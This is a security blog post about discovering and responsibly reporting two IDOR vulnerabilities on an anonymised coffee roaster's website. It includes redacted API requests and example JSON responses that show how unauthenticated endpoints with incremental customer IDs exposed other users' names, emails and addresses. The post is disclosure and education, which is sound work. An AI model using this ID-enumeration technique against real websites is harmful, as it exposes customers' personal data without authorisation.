The Generator Hub, The Gallery, Kings Wharf, Exeter, EX2 4AN
01392 703 303
[email protected]

Bean there, patched that: Discovering IDOR in the wild

Introduction

This story goes back over six months to the start of September 2023.  I was on the lookout for a high-quality coffee roaster and after a few discussions with a friend, he pointed me in the direction of one which he recommended. This is a story of how I discovered a vulnerability within the roaster’s website and the process to get it resolved. 

Spidey senses tingling

After finding the product I wanted on the website, I created an account and started the checkout process. The order was placed, but something stood out to me.  I would have expected the company to use Shopify or another similar backend ordering platform, however this wasn’t the case. 

Digging into the data

I started playing around with the queries on certain pages to see if anything jumped out.  

To my surprise, after only a few minutes, I found two queries.  A POST and GET request returning data on the logged-on account.  Normally this wouldn’t be a problem, as websites have authentication in place to ensure you can only access your own data.  However, this was not the case here.

[Critical] GET request returning all account data

The first of the two vulnerabilities discovered was a Critical vulnerability that gave me full account details of any user on the website, excluding that of their payment data (this was held externally). 

This vulnerability was possible due to a misconfigured API endpoint that had no authentication requirements attached to it. This meant I could modify the request to grab any user data, or send a query to grab all user data from the website. 

How does it work?

Details have been obfuscated, redacted or changed to protect the companies identity. 

When logging into the account, several information requests were made within the browser; 

GET /api/v1/XXXXXX/XX/customer?id:in=9999 HTTP/2 
Host: example.com 
<-- SNIPPED FOR BREVITY -->
  1. Lack of authentication on the page  
  • When reviewing the other requests against the API, there was always an authorisation header present within the request when accessing privileged data. However, this was missing on the request above. The authorisation header is used by the application to authenticate access to the endpoint, preventing access to sensitive information. 
    1. Incremental user account ID’s  
    • The system in place for generating account IDs was incremental and allowed for easy enumeration of other user accounts. 

    With the above information in mind, it’s now very simple to execute the exploit. We simply increment or decrement the “id” value until we reach another user’s account. 

    { 
      "data": [ 
        { 
          "id": 9999, 
          "authentication": { 
            "force_password_reset": true 
          }, 
          "company": "Silvatech", 
          "customer_group_id": "", 
          "email": "[email protected]", 
          "first_name": "John", 
          "last_name": "Smith", 
          "notes": "This is example data", 
          "phone": "123456789", 
          "registration_ip_address":"127.0.0.1", 
          "tax_exempt_category":"", 
          "date_created":"18/03/2024 16:00:00", 
          "date_modified":"18/03/2024 16:00:01", 
          "accepts_product_review_Abandoned_cart_emails":false, 
          "origin_channel_id":1, 
          "channel_ids":null  
        } 
      ] 
    }

     In the code snippet above, we can see that modifying this request gives some interesting data for another user’s account. As the data is enough to identify individuals it becomes a high-risk finding.  If I were malicious, I could attempt to extend my query and dump the entire database of users. 

    With this API endpoint being vulnerable to IDOR (Insecure Direct Object References WSTG – Latest | OWASP Foundation)  I wondered whether other areas of the API are also exposed. After a few minutes of some online research I discovered a reference to an eCommerce API.  

    /customers/addresses?id:in=9998,9999 HTTP/2 

    Pulling all of this together, I was able to tweak the query to “addresses” rather than “customers” and further extract sensitive data: 

    { 
      "data": [ 
        { 
          "id": 9999, 
          "address1":"123 Example Street", 
          "address2":"", 
          "address_type":"Residential", 
          "city":"Example City", 
          "company":"", 
          "country":"United Kingdom", 
          "country_code":"GB", 
          "customer_id":123, 
          "first_name":"John", 
          "last_name":"Smith", 
          "phone":"123456789", 
          "postal_code":"ABC123", 
          "state_or_province":"N/A" 
        }, 
        { 
          "id": 9998, 
          "address1":"321 Example Road" 
          "address2": 
    <-- SNIPPED FOR BREVITY --> 
        } 
      ] 
    }

    As we can see in the above code snippet, I could extract address details for each customer and repeat some of the customer details from previous.   

    [High] limited account data

    Although the above finding is critical in nature, it does not mean we should ignore other indicators of vulnerabilities on the site. To this end, I began researching the POST request. This request was to a completely different endpoint and seemed to have no interactivity with our original finding.

    It quickly became clear that this request was also vulnerable to an IDOR attack. This was possible due to a misconfigured request being made once a user was logged into their account. This request was made on any “Account” page the user visited, with the POST request simply containing a request for “CustomerID:1234.” It was nestled in between a number of other authentication steps, but it had no authentication of its own attached.

    POST /get_customer_information.php HTTP/2 
    Host: REDACTED 
    <-- SNIPPED FOR BREVITY --> 
    
    { 
    "CustomerID":1234 
    }

    Using the same exploit with “CustomerID”; 

    HTTP/2 200 OK 
    <-- SNIPPED FOR BREVITY --> 
    Access-Control-Allow-Credentials: true 
    Access-Control-Allow-Origin: https://example.com 
    
    { 
         "status": "success", 
          "attributes" : [ 
            { 
            "label":"Price Level", 
            "value":"Webshop Retail" 
            }, 
            { 
              "label":"Terms", 
              "value":"0 days from Invoice" 
            }, 
            { 
              "label": "Account", 
              "value": "John Smith", 
            }, 
            { 
              "label": "Shipping Method", 
              "value": "Web Shipping", 
            }, 
            { 
              "label": "Sales Rep" 
              "value": "N/A", 
            }, 
            { 
              "label": "Previous Email" 
              "value": "[email protected]" 
            } 
       ] 
    }

    The data provided includes the names and email addresses of user accounts and a user’s previously set email address. Additionally, some of the labels, such as “Terms,” “Account,” and “Sales Rep,” seem to be designed for use with business accounts. Once again, this system could be manipulated to dump all user details from the website using just one query.

    Due to the sensitive nature and wide scope of data obtained, this was deemed to be a high-risk vulnerability that required immediate escalation.

    Reporting my findings

    The findings were reported to senior management who were receptive, and the vulnerabilities were resolved.

    Coincidentally, while writing this report, I came across a recent news article about Belgium’s largest coffee roaster being attacked.

    What can we learn from this?

    First and foremost, companies shouldn’t just rely on their systems to be secure from the outset. These systems need to be tested to ensure that any custom or bespoke tooling is secure. Companies should ensure that any assets that hold sensitive information, whether that be company data or the data of their customers, have regular vulnerability scans and, where possible, penetration tests.

    Additionally, this highlights the need for more companies to implement the Security.txt standard. This standard is not technically challenging to introduce, nor does it impose any additional costs to companies, but its means that it’s much easier for security researchers to contact the right person when the need arises.